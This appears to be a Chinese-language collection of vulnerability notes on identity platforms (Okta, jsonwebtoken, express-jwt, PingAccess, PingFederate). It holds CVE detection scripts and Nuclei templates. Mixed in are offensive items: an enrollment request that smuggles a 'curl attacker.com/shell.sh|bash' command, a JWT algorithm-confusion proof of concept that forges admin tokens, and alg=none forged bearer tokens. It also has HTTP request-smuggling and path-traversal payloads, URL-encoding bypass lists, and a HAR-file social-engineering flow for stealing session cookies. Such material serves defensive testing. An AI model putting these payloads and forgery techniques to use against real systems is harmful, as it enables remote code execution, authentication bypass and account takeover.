[用户浏览器/设备]
      ↓
[Okta Identity Engine (云端)]
      ├── /oauth2/default — OAuth2/OIDC 端点
      ├── /api/v1/authn — 认证 API
      ├── /app/<app>/sso/saml — SAML SSO 端点
      └── /admin/ — 管理控制台
      ↓
[Access Gateway / AD Agent (本地)]
      ├── Access Gateway — 反向代理 + 策略引擎
      └── AD Agent — LDAP 查询 + 密码验证
      ↓
[Advanced Server Access (特权访问)]
      └── ASA Client ↔ Fleet Controller ↔ Fleet Server

POST /enroll HTTP/1.1
Host: target-asa-fleet.example.com
Content-Type: application/json

{
  "team": "attacker-team",
  "server_url": "https://$(curl attacker.com/shell.sh|bash)/callback",
  "token": "legitimate-enrollment-token"
}

#!/usr/bin/env python3
"""CVE-2023-0093 Okta ASA 命令注入检测脚本"""
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

VULN_VERSIONS = (1, 13, 1)
FIXED_VERSION = (1, 66, 0)

def parse_version(v):
    parts = v.replace('-', '.').split('.')
    return tuple(int(p) for p in parts[:3])

def check(target):
    url = f"https://{target}/api/v1/clients"
    try:
        r = requests.get(url, timeout=10, verify=False)
        if r.status_code == 200:
            data = r.json()
            if "version" in data:
                ver = parse_version(data["version"])
                if ver >= VULN_VERSIONS and ver < FIXED_VERSION:
                    print(f"[+] 易受攻击版本: {data['version']}")
                    return True
                print(f"[-] 版本已修复: {data['version']}")
                return False
        url2 = f"https://{target}/sdk/v1/fleet/metadata"
        r2 = requests.get(url2, timeout=10, verify=False)
        if r2.status_code == 200:
            print(f"[+] ASA Fleet 端点可达，建议手动验证版本")
            return None
    except requests.exceptions.ConnectionError:
        print("[-] 连接失败，目标可能不存在 ASA 服务")
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    if result is True:
        print(f"[!] {sys.argv[1]} 可能受 CVE-2023-0093 影响")
    elif result is None:
        print(f"[?] {sys.argv[1]} 需要手动验证")
    else:
        print(f"[-] {sys.argv[1]} 未检测到漏洞")

id: cve-2023-0093-okta-asa

info:
  name: Okta Advanced Server Access Client Command Injection
  author: x7peeps
  severity: high
  description: Okta Advanced Server Access Client 1.13.1 至 1.65.0 版本存在命令注入漏洞，源于第三方库 webbrowser 处理恶意 URL 时的命令注入。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0093
    - https://trust.okta.com/security-advisories/okta-advanced-server-access-client-cve-2023-0093/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-0093
  tags: cve,cve2023,okta,asa,command-injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/sdk/v1/fleet/metadata"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "fleetId"
          - "serverUrl"
        condition: and

// HAR 文件中的 Cookie 头示例
{
  "name": "sid",
  "value": "00u1d2oH8qJkB5m3x4d7_h1g2k...",
  "domain": ".okta.com",
  "path": "/",
  "secure": true,
  "httpOnly": true
}

攻击者伪装 Okta 支持人员
      ↓
联系受害者企业的 IT 帮助台或直接联系用户
      ↓
诱导受害者执行 "浏览器问题诊断" 操作
      ↓
指导受害者: 开发者工具 → Network → 导出 HAR 文件
      ↓
受害者将 HAR 文件通过邮件/文件共享发送给攻击者
      ↓
攻击者从 HAR 中提取 sid / session token
      ↓
在攻击者浏览器中注入该 Cookie
      ↓
直接访问受害者的企业应用（无需密码、无需 MFA）

#!/usr/bin/env python3
"""Okta Classic Engine 策略绕过检测"""
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    url = f"https://{target}/.well-known/openid-configuration"
    try:
        r = requests.get(url, timeout=10, verify=False)
        if r.status_code == 200:
            data = r.json()
            issuer = data.get("issuer", "")
            if "classic" in issuer.lower() or "okta.com" in issuer:
                print(f"[!] 目标使用 Okta: {issuer}")
                auth_url = data.get("authorization_endpoint", "")
                if "/v1/authorize" in auth_url:
                    print("[+] 确认 Okta Classic Engine 部署")
                    print("[!] 可能受策略绕过影响，建议迁移至 Identity Engine")
                    return True
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]}")

LAPSUS$ 社会工程攻击 Okta 外部服务商（Rightway Healthcare）
      ↓
获取该服务商员工的 VPN 访问凭证
      ↓
通过该员工的 VPN 连接到 Okta 内部网络
      ↓
访问 Okta 内部支持工单系统
      ↓
利用支持权限重置客户账号/修改 MFA 注册
      ↓
在部分客户环境中维持持久化访问
      ↓
LAPSUS$ 公开泄露 Okta 管理面板截图

#!/usr/bin/env python3
"""CVE-2022-23540 算法混淆攻击 PoC"""
import jwt
import base64
import json

def create_forged_token(public_key_path, payload):
    with open(public_key_path, 'r') as f:
        public_key = f.read()

    forged_payload = {
        "sub": "admin@example.com",
        "iat": 1700000000,
        "exp": 9999999999,
        "role": "admin",
        **payload
    }

    forged_header = {
        "alg": "HS256",
        "typ": "JWT"
    }

    encoded_header = base64.urlsafe_b64encode(
        json.dumps(forged_header).encode()
    ).rstrip(b'=').decode()
    encoded_payload = base64.urlsafe_b64encode(
        json.dumps(forged_payload).encode()
    ).rstrip(b'=').decode()

    signing_input = f"{encoded_header}.{encoded_payload}".encode()
    signature = jwt.encode(forged_payload, public_key, algorithm='HS256')

    return f"{encoded_header}.{encoded_payload}.{signature}"

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <public_key.pem> <extra_claims_json>")
        print(f"Example: {sys.argv[0]} pub.pem '{{\"role\": \"admin\"}}'")
        sys.exit(1)

    extra = json.loads(sys.argv[2]) if sys.argv[2] != "{}" else {}
    token = create_forged_token(sys.argv[1], extra)
    print(f"[+] 伪造 Token:\n{token}")
    print(f"\n[+] 使用方法: 将此 Token 放入 Authorization: Bearer <token>")

#!/usr/bin/env python3
"""CVE-2022-23540 检测脚本 - jsonwebtoken 不安全默认算法"""
import requests
import sys
import json
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def decode_jwt_header(token):
    try:
        header_b64 = token.split('.')[0]
        padding = 4 - len(header_b64) % 4
        header_b64 += '=' * padding
        return json.loads(base64.urlsafe_b64decode(header_b64))
    except Exception:
        return None

def check(target):
    endpoints = [
        "/api/auth/session",
        "/.well-known/openid-configuration",
        "/oauth/token",
    ]

    for endpoint in endpoints:
        url = f"https://{target}{endpoint}"
        try:
            r = requests.get(url, timeout=10, verify=False)
            auth_header = r.headers.get('WWW-Authenticate', '')
            if 'Bearer' in auth_header:
                print(f"[+] 发现 Bearer Token 质询: {endpoint}")

            set_cookie = r.headers.get('Set-Cookie', '')
            if 'token' in set_cookie.lower() or 'session' in set_cookie.lower():
                print(f"[+] 发现潜在 Token Cookie: {endpoint}")
        except Exception:
            continue

    print("[*] 手动检测: 检查服务器 JWT 验证是否指定 algorithms 参数")
    print("[*] 使用 jwt_tool 测试 alg=none 和算法混淆")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    check(sys.argv[1])
    print(f"[?] {sys.argv[1]} 需要手动验证 JWT 配置")

id: cve-2022-23540-jwt-alg-bypass

info:
  name: jsonwebtoken Insecure Default Algorithm (CVE-2022-23540)
  author: x7peeps
  severity: medium
  description: jsonwebtoken <= 8.5.1 的 jwt.verify() 在未指定 algorithms 参数时不安全地接受 Token 头部声明的算法，可导致算法混淆攻击。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23540
    - https://github.com/auth0/node-jsonwebtoken/security/advisories/GHSA-qwph-4952-7xr6
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 6.4
    cve-id: CVE-2022-23540
  tags: cve,cve2022,auth0,jwt,algorithm-confusion

http:
  - method: GET
    path:
      - "{{BaseURL}}/.well-known/openid-configuration"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "jwks_uri"
          - "token_endpoint"
        condition: and
    extractors:
      - type: json
        name: jwks_uri
        json:
          - ".jwks_uri"

#!/usr/bin/env python3
"""CVE-2022-23541 检测脚本 - jsonwebtoken 算法混淆"""
import requests
import sys
import jwt
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_algorithm_confusion(target):
    jwt_endpoints = [
        "/api/auth/callback",
        "/auth/token",
        "/.well-known/jwks.json",
    ]

    public_key = None
    for endpoint in jwt_endpoints:
        url = f"https://{target}{endpoint}"
        try:
            r = requests.get(url, timeout=10, verify=False)
            if r.status_code == 200:
                try:
                    jwks = r.json()
                    if "keys" in jwks and len(jwks["keys"]) > 0:
                        print(f"[+] 发现 JWKS 端点: {endpoint}")
                        key = jwks["keys"][0]
                        print(f"[+] 首个密钥: kid={key.get('kid')}, alg={key.get('alg')}")
                        return True
                except json.JSONDecodeError:
                    pass
        except Exception:
            continue

    return False

def forge_hs256_token(public_key_pem, payload):
    """使用 RSA 公钥作为 HMAC 密钥伪造 Token"""
    try:
        token = jwt.encode(
            payload,
            public_key_pem,
            algorithm="HS256"
        )
        return token
    except Exception as e:
        print(f"[-] 伪造失败: {e}")
        return None

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] 检测 {target} 的 JWT 配置...")

    found = test_algorithm_confusion(target)
    if found:
        print("[!] 目标暴露 JWKS 端点，可能存在算法混淆风险")
        print("[!] 建议: 在 jwt.verify() 中显式指定 algorithms=['RS256']")
    else:
        print("[-] 未发现公开 JWKS 端点")

id: cve-2022-23541-jwt-algo-confusion

info:
  name: jsonwebtoken Algorithm Confusion (CVE-2022-23541)
  author: x7peeps
  severity: medium
  description: jsonwebtoken <= 8.5.1 的密钥检索函数实现不当，允许使用不同的算法和密钥组合进行验证，可导致算法混淆攻击。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23541
    - https://github.com/auth0/node-jsonwebtoken/security/advisories/GHSA-hjrf-2m68-5959
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2022-23541
  tags: cve,cve2022,auth0,jwt,algorithm-confusion

http:
  - method: GET
    path:
      - "{{BaseURL}}/.well-known/jwks.json"
      - "{{BaseURL}}/jwks.json"
      - "{{BaseURL}}/.well-known/openid-configuration"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "keys"
          - "kty"
          - "RSA"
        condition: and
      - type: status
        status:
          - 200

#!/usr/bin/env python3
"""CVE-2022-23539 检测脚本"""
import requests
import sys
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    url = f"https://{target}/.well-known/jwks.json"
    try:
        r = requests.get(url, timeout=10, verify=False)
        if r.status_code == 200:
            jwks = r.json()
            keys = jwks.get("keys", [])
            for key in keys:
                kty = key.get("kty")
                alg = key.get("alg", "RS256")
                kid = key.get("kid", "unknown")
                if kty == "RSA" and alg in ("HS256", "HS384", "HS512"):
                    print(f"[!] 异常密钥组合: kid={kid}, kty={kty}, alg={alg}")
                    print("[!] 可能存在密钥类型/算法不匹配风险")
                    return True
                print(f"[*] 密钥: kid={kid}, kty={kty}, alg={alg}")
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]}")

id: cve-2022-23539-jwt-key-type-mismatch

info:
  name: jsonwebtoken Unrestricted Key Type (CVE-2022-23539)
  author: x7peeps
  severity: medium
  description: jsonwebtoken <= 8.5.1 不限制密钥类型与算法的组合，可能导致不安全的密钥使用。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23539
    - https://github.com/auth0/node-jsonwebtoken/security/advisories/GHSA-8cf7-32gw-wr33
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 5.9
    cve-id: CVE-2022-23539
  tags: cve,cve2022,auth0,jwt,key-type

http:
  - method: GET
    path:
      - "{{BaseURL}}/.well-known/jwks.json"
      - "{{BaseURL}}/jwks.json"
    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - "keys"
          - "kty"
        condition: and
    extractors:
      - type: json
        name: keys
        json:
          - ".keys[]"

#!/usr/bin/env python3
"""CVE-2022-23529 检测脚本 - 检查 jsonwebtoken 版本"""
import subprocess
import sys
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_package_version():
    try:
        result = subprocess.run(
            ["npm", "list", "jsonwebtoken", "--json"],
            capture_output=True, text=True, timeout=30
        )
        if result.returncode == 0:
            data = json.loads(result.stdout)
            deps = data.get("dependencies", {})
            if "jsonwebtoken" in deps:
                version = deps["jsonwebtoken"].get("version", "unknown")
                print(f"[*] jsonwebtoken 版本: {version}")
                major, minor, patch = map(int, version.split('.')[:3])
                if major < 9:
                    print(f"[!] 易受攻击版本，建议升级至 >= 9.0.0")
                    return True
                print(f"[+] 版本已修复")
                return False
    except FileNotFoundError:
        print("[-] npm 未安装")
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return None

if __name__ == "__main__":
    print("[*] CVE-2022-23529 检测（jsonwebtoken 密钥处理漏洞）")
    print("[*] 注意：该 CVE 已被撤销，但升级仍是最佳实践\n")
    result = check_package_version()
    if result is None:
        print("[?] 无法自动检测版本，请手动运行 npm list jsonwebtoken")

id: cve-2022-23529-jwt-secret-poisoning

info:
  name: jsonwebtoken Insecure Key Handling (CVE-2022-23529)
  author: x7peeps
  severity: high
  description: jsonwebtoken <= 8.5.1 的 jwt.verify() 函数对 secretOrPublicKey 参数缺乏严格类型检查，可能导致密钥注入攻击。（注意：此 CVE 已被撤销）
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23529
    - https://unit42.paloaltonetworks.com/jsonwebtoken-vulnerability-cve-2022-23529/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.6
    cve-id: CVE-2022-23529
  tags: cve,cve2022,auth0,jwt,secret-poisoning

http:
  - method: GET
    path:
      - "{{BaseURL}}/package.json"
      - "{{BaseURL}}/node_modules/jsonwebtoken/package.json"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "jsonwebtoken"
          - "auth0"
        condition: and

// 漏洞配置 - 缺少 algorithms 参数
app.use(jwt({
    secret: jwksRsa.expressJwtSecret({
        jwksUri: 'https://example.com/.well-known/jwks.json'
    }),
    audience: 'api.example.com',
    issuer: 'https://example.com/',
    // 缺少: algorithms: ['RS256']
}));

// 安全配置 - 显式指定 algorithms
app.use(jwt({
    secret: jwksRsa.expressJwtSecret({
        jwksUri: 'https://example.com/.well-known/jwks.json'
    }),
    audience: 'api.example.com',
    issuer: 'https://example.com/',
    algorithms: ['RS256']  // 必须指定
}));

GET /api/protected-resource HTTP/1.1
Host: target-api.example.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcwMDAwMDAwMH0.

#!/usr/bin/env python3
"""CVE-2020-15084 检测脚本 - express-jwt 算法未强制"""
import requests
import sys
import base64
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_none_alg_token(payload):
    header = {"alg": "none", "typ": "JWT"}
    h = base64.urlsafe_b64encode(
        json.dumps(header).encode()
    ).rstrip(b'=').decode()
    p = base64.urlsafe_b64encode(
        json.dumps(payload).encode()
    ).rstrip(b'=').decode()
    return f"{h}.{p}."

def check(target, protected_paths=None):
    if protected_paths is None:
        protected_paths = ["/api", "/api/v1", "/api/me", "/api/user"]

    forged = create_none_alg_token({
        "sub": "test@test.com",
        "iat": 1700000000
    })

    for path in protected_paths:
        url = f"https://{target}{path}"
        try:
            r_normal = requests.get(url, timeout=10, verify=False)
            r_forged = requests.get(
                url,
                headers={"Authorization": f"Bearer {forged}"},
                timeout=10,
                verify=False
            )
            if r_normal.status_code in (401, 403) and r_forged.status_code == 200:
                print(f"[+] 路径 {path} 存在算法绕过！")
                print(f"    正常请求: {r_normal.status_code}")
                print(f"    伪造 Token: {r_forged.status_code}")
                return True
            elif r_normal.status_code == 401 and r_forged.status_code == 401:
                print(f"[*] 路径 {path}: Token 验证正常（401）")
        except Exception as e:
            print(f"[-] 路径 {path} 请求失败: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    if not result:
        print(f"[?] {sys.argv[1]} 未检测到明显的算法绕过")
        print("[*] 建议在 express-jwt 配置中显式指定 algorithms 参数")

id: cve-2020-15084-express-jwt-alg-bypass

info:
  name: express-jwt Algorithm Bypass (CVE-2020-15084)
  author: x7peeps
  severity: critical
  description: express-jwt <= 5.3.3 在未指定 algorithms 参数时不强制算法验证，可导致认证绕过。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15084
    - https://github.com/auth0/express-jwt/security/advisories/GHSA-6g6m-m6h5-w9gf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2020-15084
  tags: cve,cve2020,auth0,express-jwt,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/api"
      - "{{BaseURL}}/api/v1"
      - "{{BaseURL}}/api/me"
    stop-at-first-match: true
    headers:
      Authorization: "Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ0ZXN0QHRlc3QuY29tIiwiaWF0IjoxNzAwMDAwMDAwfQ."

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

[用户浏览器]
      ↓
[PingFederate (IdP)]
      ├── SAML SP 端点
      ├── OAuth2/OIDC 端点
      ├── Admin Console
      └── REST API
      ↓
[PingAccess (网关)]
      ├── Web Policy Engine
      ├── Token Validation
      └── 反向代理
      ↓
[PingDirectory]
      ├── LDAP 接口
      └── 用户数据存储
      ↓
[企业应用 / 云服务]

攻击者 → PingAccess（前端代理）
              ↓ 解析 Transfer-Encoding: chunked
         后端服务器
              ↓ 解析 Content-Length

POST /target-app/api HTTP/1.1
Host: pingaccess.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

GET /admin/secret HTTP/1.1
Host: internal-server.local

POST /target-app/api HTTP/1.1
Host: pingaccess.example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 3

8
SMUGGLED
0

#!/usr/bin/env python3
"""CVE-2024-23316 检测脚本 - PingAccess HTTP 请求走私"""
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    url = f"https://{target}/"
    try:
        r = requests.get(url, timeout=10, verify=False)
        server = r.headers.get('Server', '')
        if 'PingAccess' in server or 'pingaccess' in r.text.lower():
            print(f"[+] 检测到 PingAccess: {server}")

        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Transfer-Encoding': 'chunked',
            'Content-Length': '3',
        }
        payload = b'8\r\nSMUGGLED\r\n0\r\n\r\n'
        r2 = requests.post(url, headers=headers, data=payload, timeout=10, verify=False)
        print(f"[*] 请求走私测试: HTTP {r2.status_code}")

        headers2 = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Transfer-Encoding': 'chunked',
            'Content-Length': '6',
        }
        payload2 = b'0\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n'
        r3 = requests.post(url, headers=headers2, data=payload2, timeout=10, verify=False)
        print(f"[*] CL.TE 测试: HTTP {r3.status_code}")

        return True
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    if result:
        print(f"[!] {sys.argv[1]} 需要确认 PingAccess 版本 < 8.0.1")
        print("[!] 升级至 PingAccess >= 8.0.1")

id: cve-2024-23316-pingaccess-smuggling

info:
  name: PingAccess HTTP Request Smuggling (CVE-2024-23316)
  author: x7peeps
  severity: high
  description: PingAccess < 8.0.1 存在 HTTP 请求反序列化漏洞，攻击者可构造特殊 HTTP 头部实现请求走私。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23316
    - https://support.pingidentity.com/s/document-item?language=en_US&bundleKey=PINGIDENTITY_2404&page=pingaccess_8_0_1_release_notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-23316
  tags: cve,cve2024,pingidentity,pingaccess,request-smuggling

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "PingAccess"
          - "pingaccess"
        condition: or
      - type: word
        words:
          - "X-PingAccess"
        part: header

/../../../etc/passwd
/%2e%2e/%2e%2e/etc/passwd
/..%252f..%252fetc/passwd

#!/usr/bin/env python3
"""CVE-2024-23983 检测脚本 - PingAccess URL 编码绕过"""
import requests
import sys
import urllib.parse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BYPASS_PAYLOADS = [
    "/admin/",
    "/%2e%2e/%2e%2e/admin/",
    "/..%252f..%252fadmin/",
    "/%2e%2e%2fadmin/",
    "/admin%20",
    "/admin%09",
    "/;/admin/",
    "/admin.json",
]

def check(target):
    url_base = f"https://{target}"
    try:
        r_normal = requests.get(f"{url_base}/admin/", timeout=10, verify=False)
        normal_code = r_normal.status_code
        print(f"[*] 正常 /admin/ 请求: HTTP {normal_code}")

        for payload in BYPASS_PAYLOADS:
            url = f"{url_base}{payload}"
            r = requests.get(url, timeout=10, verify=False, allow_redirects=False)
            if r.status_code == 200 and normal_code in (401, 403, 404):
                print(f"[+] 绕过成功: {payload} → HTTP {r.status_code}")
                return True
            elif r.status_code != normal_code:
                print(f"[*] 不同响应: {payload} → HTTP {r.status_code}")
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    if not result:
        print(f"[-] {sys.argv[1]} 未检测到明显的 URL 编码绕过")

id: cve-2024-23983-pingaccess-url-bypass

info:
  name: PingAccess URL Encoding Bypass (CVE-2024-23983)
  author: x7peeps
  severity: medium
  description: PingAccess 对 URL 编码的规范化处理不当，可能导致请求规则被绕过。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23983
  classification:
    cve-id: CVE-2024-23983
  tags: cve,cve2024,pingidentity,pingaccess,url-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e/%2e%2e/admin/"
      - "{{BaseURL}}/..%252f..%252fadmin/"
      - "{{BaseURL}}/..%2f..%2fadmin/"
    stop-at-first-match: true
    matchers:
      - type: status
        status:
          - 200

1. 攻击者使用合法用户名/密码发起登录
2. PingFederate 进入 MFA 流程，要求输入 OTP
3. 攻击者不提交 OTP，而是使用非标准 HTTP 方法请求
4. 服务器状态机错误地推进认证状态
5. 攻击者直接获得认证完成的 Token
6. 以目标用户身份访问所有受保护资源

#!/usr/bin/env python3
"""CVE-2025-27935 检测脚本 - PingFederate OTP MFA 绕过"""
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    otp_endpoints = [
        "/pf/startSLS.ping",
        "/pf/startSSO.ping",
        "/idp/startSSO.ping",
    ]

    methods = ["POST", "PUT", "PATCH", "DELETE", "OPTIONS"]

    for endpoint in otp_endpoints:
        url = f"https://{target}{endpoint}"
        for method in methods:
            try:
                r = requests.request(
                    method, url, timeout=10, verify=False,
                    allow_redirects=False,
                    data={"username": "test", "password": "test"}
                )
                if r.status_code in (200, 302):
                    print(f"[+] {method} {endpoint} → HTTP {r.status_code}")
                    if r.status_code == 200:
                        print(f"    响应长度: {len(r.text)}")
            except Exception:
                continue

    print("[*] 需要在完整认证流程中验证 OTP 绕过")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    check(sys.argv[1])
    print(f"[?] {sys.argv[1]} 需要手动验证 OTP 绕过")

id: cve-2025-27935-pingfederate-otp-bypass

info:
  name: PingFederate OTP MFA Bypass (CVE-2025-27935)
  author: x7peeps
  severity: high
  description: PingFederate OTP Integration Kit 未正确执行 HTTP 方法验证和状态验证，攻击者可绕过多因素认证。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27935
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-27935
  tags: cve,cve2025,pingidentity,pingfederate,mfa-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/pf/startSLS.ping"
      - "{{BaseURL}}/pf/startSSO.ping"
      - "{{BaseURL}}/idp/startSSO.ping"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 302
      - type: word
        words:
          - "PingFederate"
          - "pf-"
        condition: or

#!/usr/bin/env python3
"""CVE-2023-40702 检测脚本 - PingOne MFA skipMFA"""
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    endpoints = [
        "/pf/startSSO.ping",
        "/idp/startSSO.ping",
        "/pf/JITAuthn",
    ]

    for endpoint in endpoints:
        url = f"https://{target}{endpoint}"
        try:
            r = requests.get(url, timeout=10, verify=False, allow_redirects=False)
            headers = dict(r.headers)
            if "Location" in headers and "login" in headers["Location"].lower():
                print(f"[+] 发现认证端点: {endpoint}")
                print(f"    重定向至: {headers['Location'][:100]}")
                return True
        except Exception:
            continue
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    check(sys.argv[1])
    print(f"[?] {sys.argv[1]} 需要手动验证 skipMFA 配置")

id: cve-2023-40702-pingone-mfa-skip

info:
  name: PingOne MFA skipMFA Bypass (CVE-2023-40702)
  author: x7peeps
  severity: high
  description: PingOne MFA Integration Kit 的 skipMFA 操作可被配置为在用户已注册 MFA 设备时跳过第二因素认证。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40702
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.7
    cve-id: CVE-2023-40702
  tags: cve,cve2023,pingidentity,pingone,mfa-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/pf/startSSO.ping"
      - "{{BaseURL}}/idp/startSSO.ping"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PingFederate"
          - "PingOne"
        condition: or
      - type: status
        status:
          - 200
          - 302

#!/usr/bin/env python3
"""CVE-2023-36496 检测脚本 - PingDirectory 权限提升"""
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    admin_endpoints = [
        "/admin/api/v1 PingDirectory",
        "/directory/v1",
        "/admin/directory/server-info",
    ]
    url = f"https://{target}"
    try:
        r = requests.get(f"{url}/admin", timeout=10, verify=False)
        if r.status_code == 200:
            print(f"[+] PingDirectory Admin Console 可达")
        r2 = requests.get(f"{url}/admin/api/v1/PingDirectory/server-info",
                         timeout=10, verify=False)
        if r2.status_code == 200:
            print(f"[+] Server Info 端点可达，建议验证 Delegated Admin 配置")
            return True
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    check(sys.argv[1])